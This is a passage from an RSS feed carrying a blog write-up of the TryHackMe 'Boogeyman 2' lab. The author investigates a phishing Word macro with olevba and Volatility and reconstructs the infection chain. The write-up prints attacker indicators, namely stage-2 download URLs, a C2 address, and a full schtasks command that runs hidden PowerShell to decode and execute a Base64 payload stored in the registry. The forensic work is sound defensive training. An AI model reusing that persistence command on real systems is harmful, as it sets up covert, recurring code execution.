&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;md5sum &apos;/home/ubuntu/Desktop/Artefacts/Resume_WesleyTaylor.doc&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1_SDQ5w2o5gGQD7Jljhlvq1g.png&quot; alt=&quot;1_SDQ5w2o5gGQD7Jljhlvq1g.png&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;answer-3&quot;&gt;Answer:&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;52c4384a0b9e248b95804352ebec6c5b&lt;/code&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;question-5&quot;&gt;Question 5:&lt;/h3&gt;

&lt;p&gt;What URL is used to download the stage 2 payload based on the document’s macro?&lt;/p&gt;

&lt;h4 id=&quot;process-4&quot;&gt;Process:&lt;/h4&gt;

&lt;p&gt;To investigate the document further, I opened the attachment using &lt;strong&gt;LibreOffice Writer&lt;/strong&gt; and navigated to:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Macros → Edit Macros
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1_oT-bXtL6hKwW9rLKqWa-uA.png&quot; alt=&quot;1_oT-bXtL6hKwW9rLKqWa-uA.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Inside the macro project structure under:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[Resume_WesleyTaylor.doc].Project
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1_hqd1dkk4g3yXbN5gfCWE5g.png&quot; alt=&quot;1_hqd1dkk4g3yXbN5gfCWE5g.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;and later within:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Resume_WesleyTaylor.doc → Document Objects
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1_STvrPefiiBNhV_MS9ZC5Sw.png&quot; alt=&quot;1_STvrPefiiBNhV_MS9ZC5Sw.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I identified a suspicious macro containing an HTTP GET request that referenced an external URL used to retrieve the stage 2 payload.&lt;/p&gt;

&lt;p&gt;Inspecting Office macros is important because attackers frequently abuse VBA macros to download payloads and execute malicious code.&lt;/p&gt;

&lt;h4 id=&quot;answer-4&quot;&gt;Answer:&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.png&lt;/code&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;question-6&quot;&gt;Question 6:&lt;/h3&gt;

&lt;p&gt;What is the name of the process that executed the newly downloaded stage 2 payload?&lt;/p&gt;

&lt;h4 id=&quot;process-5&quot;&gt;Process:&lt;/h4&gt;

&lt;p&gt;To analyze the embedded macros more efficiently, I used &lt;strong&gt;Olevba&lt;/strong&gt; against the malicious attachment.&lt;/p&gt;

&lt;p&gt;Olevba is useful during malware triage because it quickly highlights suspicious VBA behavior, embedded URLs, and potential execution mechanisms.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;olevba &apos;/home/ubuntu/Desktop/Artefacts/Resume_WesleyTaylor.doc&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1_qNCDX4DpUzSHrWbYReKqsw.png&quot; alt=&quot;1_qNCDX4DpUzSHrWbYReKqsw.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The output revealed both the malicious download URL and the process responsible for executing the downloaded payload.&lt;/p&gt;

&lt;p&gt;To confirm the process execution on the victim machine, I analyzed the memory dump using Volatility 3 and inspected command-line activity.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;vol -f &apos;/home/ubuntu/Desktop/Artefacts/WKSTN-2961.raw&apos; windows.cmdline.CmdLine
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1_DclAYb5DkAvQRKu0u9rU8A.png&quot; alt=&quot;1_DclAYb5DkAvQRKu0u9rU8A.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1_NrAvKg5OFGuW7857uzoZsg.png&quot; alt=&quot;1_NrAvKg5OFGuW7857uzoZsg.png&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;answer-5&quot;&gt;Answer:&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wscript.exe&lt;/code&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;question-7&quot;&gt;Question 7:&lt;/h3&gt;

&lt;p&gt;What is the full file path of the malicious stage 2 payload?&lt;/p&gt;

&lt;h4 id=&quot;process-6&quot;&gt;Process:&lt;/h4&gt;

&lt;p&gt;From both the malicious macro analysis and the Volatility &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CmdLine&lt;/code&gt; results, I identified the location where the payload had been written before execution.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1__isVmWi1o04GK__YimGGpQ.png&quot; alt=&quot;1__isVmWi1o04GK__YimGGpQ.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1_Ahck0RN7n5ZJGCqQqEcPnQ.png&quot; alt=&quot;1_Ahck0RN7n5ZJGCqQqEcPnQ.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Malware commonly stages payloads in writable directories such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ProgramData&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Temp&lt;/code&gt;, or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AppData&lt;/code&gt; to avoid permission restrictions.&lt;/p&gt;

&lt;p&gt;The command-line evidence showed that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wscript.exe&lt;/code&gt; executed the downloaded JavaScript payload directly from disk.&lt;/p&gt;

&lt;h4 id=&quot;answer-6&quot;&gt;Answer:&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:\ProgramData\update.js&lt;/code&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;question-8&quot;&gt;Question 8:&lt;/h3&gt;

&lt;p&gt;What is the PID of the process that executed the stage 2 payload?&lt;/p&gt;

&lt;h4 id=&quot;process-7&quot;&gt;Process:&lt;/h4&gt;

&lt;p&gt;While reviewing the same Volatility &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CmdLine&lt;/code&gt; output, I identified the process responsible for executing the stage 2 payload along with its associated PID.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1_YiRfqqrM4NkORohSXmDnfA.png&quot; alt=&quot;1_YiRfqqrM4NkORohSXmDnfA.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Process IDs are useful during investigations because they help correlate process execution, network connections, and parent-child relationships.&lt;/p&gt;

&lt;h4 id=&quot;answer-7&quot;&gt;Answer:&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4260&lt;/code&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;question-9&quot;&gt;Question 9:&lt;/h3&gt;

&lt;p&gt;What is the parent PID of the process that executed the stage 2 payload?&lt;/p&gt;

&lt;h4 id=&quot;process-8&quot;&gt;Process:&lt;/h4&gt;

&lt;p&gt;To investigate the process hierarchy further, I used Volatility’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pstree&lt;/code&gt; plugin.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pstree&lt;/code&gt; plugin is particularly useful because it visually maps parent-child process relationships and helps reconstruct malware execution chains.&lt;/p&gt;

&lt;p&gt;I located the malicious &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wscript.exe&lt;/code&gt; process and identified its parent process ID from the process tree.&lt;/p&gt;

&lt;p&gt;The hierarchy also showed that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WINWORD.EXE&lt;/code&gt; spawned &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wscript.exe&lt;/code&gt;, confirming that the malicious Word document macro initiated the execution chain.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1_fHrSU5Qvc5g_RTGEWrFtig.png&quot; alt=&quot;1_fHrSU5Qvc5g_RTGEWrFtig.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1_pj7kypo3Bhiwk_2-RnEyjw.png&quot; alt=&quot;1_pj7kypo3Bhiwk_2-RnEyjw.png&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;answer-8&quot;&gt;Answer:&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1124&lt;/code&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;question-10&quot;&gt;Question 10:&lt;/h3&gt;

&lt;p&gt;What URL is used to download the malicious binary executed by the stage 2 payload?&lt;/p&gt;

&lt;h4 id=&quot;process-9&quot;&gt;Process:&lt;/h4&gt;

&lt;p&gt;At this point, I wanted to identify whether the JavaScript payload downloaded an additional executable.&lt;/p&gt;

&lt;p&gt;To search for additional indicators, I used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strings&lt;/code&gt; against the memory dump and filtered the output using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grep&lt;/code&gt; for references to the attacker-controlled domain identified earlier.&lt;/p&gt;

&lt;p&gt;Searching memory strings can reveal useful indicators such as URLs, domains, commands, and file paths.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;strings &apos;/home/ubuntu/Desktop/Artefacts/WKSTN-2961.raw&apos; | grep &apos;boogeymanisback&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The output revealed the full URL used to retrieve the malicious executable.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1_8CtOcAZeGceoqHJ0bvoKkQ.png&quot; alt=&quot;1_8CtOcAZeGceoqHJ0bvoKkQ.png&quot; /&gt;&lt;/p&gt;
&lt;h4 id=&quot;answer-9&quot;&gt;Answer:&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.exe&lt;/code&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;question-11&quot;&gt;Question 11:&lt;/h3&gt;

&lt;p&gt;What is the PID of the malicious process used to establish the C2 connection?&lt;/p&gt;

&lt;h4 id=&quot;process-10&quot;&gt;Process:&lt;/h4&gt;

&lt;p&gt;To continue reconstructing the attack chain, I used Volatility’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PsTree&lt;/code&gt; plugin to analyze spawned child processes.&lt;/p&gt;

&lt;p&gt;The results showed that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wscript.exe&lt;/code&gt; spawned &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;updater.exe&lt;/code&gt;, which later spawned &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;conhost.exe&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This type of process spawning behavior is commonly observed during malware execution chains.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1_9byki278PcWRbSZ5jueGWw.png&quot; alt=&quot;1_9byki278PcWRbSZ5jueGWw.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1_1FdDUJvGHdDHeHj953H0Zg.png&quot; alt=&quot;1_1FdDUJvGHdDHeHj953H0Zg.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To determine which process established external communications, I analyzed network connections using Volatility’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;netscan&lt;/code&gt; plugin.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;netscan&lt;/code&gt; plugin is useful for identifying suspicious network connections and correlating them with running processes.&lt;/p&gt;

&lt;p&gt;While reviewing the results, I observed that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;updater.exe&lt;/code&gt; with PID &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;6216&lt;/code&gt; repeatedly communicated with the same external IP address over port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;8080&lt;/code&gt;, strongly suggesting command-and-control activity.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1_hgIMR8sDWOvJXMvKeFJYmw.png&quot; alt=&quot;1_hgIMR8sDWOvJXMvKeFJYmw.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1_7hBrT4XhnbPXbiKFbGzPzQ.png&quot; alt=&quot;1_7hBrT4XhnbPXbiKFbGzPzQ.png&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;answer-10&quot;&gt;Answer:&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;6216&lt;/code&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;question-12&quot;&gt;Question 12:&lt;/h3&gt;

&lt;p&gt;What is the full file path of the malicious process used to establish the C2 connection?&lt;/p&gt;

&lt;h4 id=&quot;process-11&quot;&gt;Process:&lt;/h4&gt;

&lt;p&gt;After identifying &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;updater.exe&lt;/code&gt; as the likely malicious process, I used Volatility’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FileScan&lt;/code&gt; plugin to search memory for cached file objects associated with the executable.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FileScan&lt;/code&gt; plugin is useful for recovering references to files that may no longer be visible on disk but still exist within memory structures.&lt;/p&gt;

&lt;p&gt;I filtered the results using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grep&lt;/code&gt; to quickly locate references to the malicious executable.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1_Ba-xH8SDK7oeiB_28DTERA.png&quot; alt=&quot;1_Ba-xH8SDK7oeiB_28DTERA.png&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;answer-11&quot;&gt;Answer:&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:\Windows\Tasks\updater.exe&lt;/code&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;question-13&quot;&gt;Question 13:&lt;/h3&gt;

&lt;p&gt;What is the IP address and port of the C2 connection initiated by the malicious binary? (Format: IP address:port)&lt;/p&gt;

&lt;h4 id=&quot;process-12&quot;&gt;Process:&lt;/h4&gt;

&lt;p&gt;To identify the exact command-and-control endpoint, I revisited the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;netscan&lt;/code&gt; results and focused specifically on the connections associated with the previously identified malicious PID.&lt;/p&gt;

&lt;p&gt;Reviewing network connections alongside process activity helps correlate malware execution with external communications.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1_I6kCTnaZTAmPnl7G0Z5q-w.png&quot; alt=&quot;1_I6kCTnaZTAmPnl7G0Z5q-w.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1_urepaVpZ9-A-pEkWVBvjtg.png&quot; alt=&quot;1_urepaVpZ9-A-pEkWVBvjtg.png&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;answer-12&quot;&gt;Answer:&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;128.199.95.189:8080&lt;/code&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;question-14&quot;&gt;Question 14:&lt;/h3&gt;

&lt;p&gt;What is the full file path of the malicious email attachment based on the memory dump?&lt;/p&gt;

&lt;h4 id=&quot;process-13&quot;&gt;Process:&lt;/h4&gt;

&lt;p&gt;To confirm where the phishing attachment had been stored on the victim machine, I again used Volatility’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CmdLine&lt;/code&gt; plugin to inspect command-line activity associated with Microsoft Word.&lt;/p&gt;

&lt;p&gt;Inspecting Office process activity can help identify malicious documents executed by users during phishing attacks.&lt;/p&gt;

&lt;p&gt;I identified &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WINWORD.EXE&lt;/code&gt; referencing a file with the same name as the malicious attachment previously identified from the phishing email.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1_3ZGLGo7bkaPo6yaZFgvqiQ.png&quot; alt=&quot;1_3ZGLGo7bkaPo6yaZFgvqiQ.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1_GE9kpVW_gmY6wM9Ds3i7FQ.png&quot; alt=&quot;1_GE9kpVW_gmY6wM9Ds3i7FQ.png&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;answer-13&quot;&gt;Answer:&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:\Users\maxine.beck\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\WQHGZCFI\Resume_WesleyTaylor (002).doc&lt;/code&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;question-15&quot;&gt;Question 15:&lt;/h3&gt;

&lt;p&gt;The attacker implanted a scheduled task right after establishing the C2 callback. What is the full command used by the attacker to maintain persistent access?&lt;/p&gt;

&lt;h4 id=&quot;process-14&quot;&gt;Process:&lt;/h4&gt;

&lt;p&gt;At this stage of the investigation, I wanted to identify whether the attacker had established persistence mechanisms on the compromised workstation.&lt;/p&gt;

&lt;p&gt;Scheduled tasks are commonly abused by attackers because they provide a reliable persistence mechanism across reboots and user sessions.&lt;/p&gt;

&lt;p&gt;To search for evidence of persistence, I used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strings&lt;/code&gt; against the memory dump and filtered the output using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grep&lt;/code&gt; for references to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;schtasks&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;strings &apos;/home/ubuntu/Desktop/Artefacts/WKSTN-2961.raw&apos; | grep &apos;schtasks&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The results revealed the exact command used to create the malicious scheduled task.&lt;/p&gt;

&lt;p&gt;The command leveraged hidden PowerShell execution alongside a Base64-encoded payload stored within the Windows Registry.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/boogeyman2/1_p9ULOF5_1mpMfpOrmm0wmg.png&quot; alt=&quot;1_p9ULOF5_1mpMfpOrmm0wmg.png&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;answer-14&quot;&gt;Answer:&lt;/h4&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;schtasks /Create /F /SC DAILY /ST 09:00 /TN Updater /TR &apos;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonI -W hidden -c \&quot;IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKCU:\Software\Microsoft\Windows\CurrentVersion debug).debug)))\&quot;&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;key-investigation-findings&quot;&gt;Key Investigation Findings&lt;/h3&gt;

&lt;p&gt;Throughout the investigation, I was able to:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Analyze phishing email headers and metadata&lt;/li&gt;
  &lt;li&gt;Extract and inspect a malicious Office document&lt;/li&gt;
  &lt;li&gt;Identify embedded VBA macro behavior&lt;/li&gt;
  &lt;li&gt;Trace the malware execution chain through memory analysis&lt;/li&gt;
  &lt;li&gt;Detect malicious process spawning activity&lt;/li&gt;
  &lt;li&gt;Identify command-and-control communications&lt;/li&gt;
  &lt;li&gt;Recover attacker infrastructure indicators&lt;/li&gt;
  &lt;li&gt;Detect persistence via scheduled tasks&lt;/li&gt;
  &lt;li&gt;Correlate process, network, and file activity using Volatility 3&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;This TryHackMe Boogeyman 2 room provided valuable hands-on experience investigating a phishing-driven malware compromise using memory forensics and macro analysis techniques.&lt;/p&gt;

&lt;p&gt;By correlating evidence from email headers, malicious macros, process execution, network activity, and persistence mechanisms, I was able to reconstruct the attacker’s workflow and identify how the compromise progressed from initial phishing delivery to command-and-control communication.&lt;/p&gt;

&lt;p&gt;For aspiring SOC analysts and DFIR practitioners, this room offers excellent practice in analyzing real-world attacker behavior using tools commonly encountered in incident response environments.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;👨‍💻 &lt;strong&gt;Enjoyed this write-up?&lt;/strong&gt;&lt;br /&gt;
If you found this investigation helpful and want to see more &lt;strong&gt;writeups, SOC investigations, and cybersecurity analysis&lt;/strong&gt;, make sure to &lt;strong&gt;follow my RSS feed&lt;/strong&gt;. I regularly share detailed breakdowns of real-world scenarios to help you strengthen your Blue Team and DFIR skills.&lt;/p&gt;
</description>
        <pubDate>Wed, 13 May 2026 08:01:35 +0000</pubDate>
        <link>https://citadelcybersec.github.io/investigating-a-phishing-attack-with-volatility-and-olevba</link>
        <guid isPermaLink="true">https://citadelcybersec.github.io/investigating-a-phishing-attack-with-volatility-and-olevba</guid>
        
        <category>dfir</category>
        
        <category>phishing</category>
        
        <category>malware-analysis</category>
        
        <category>volatility</category>
        
        
      </item>
    
  </channel>
</rss>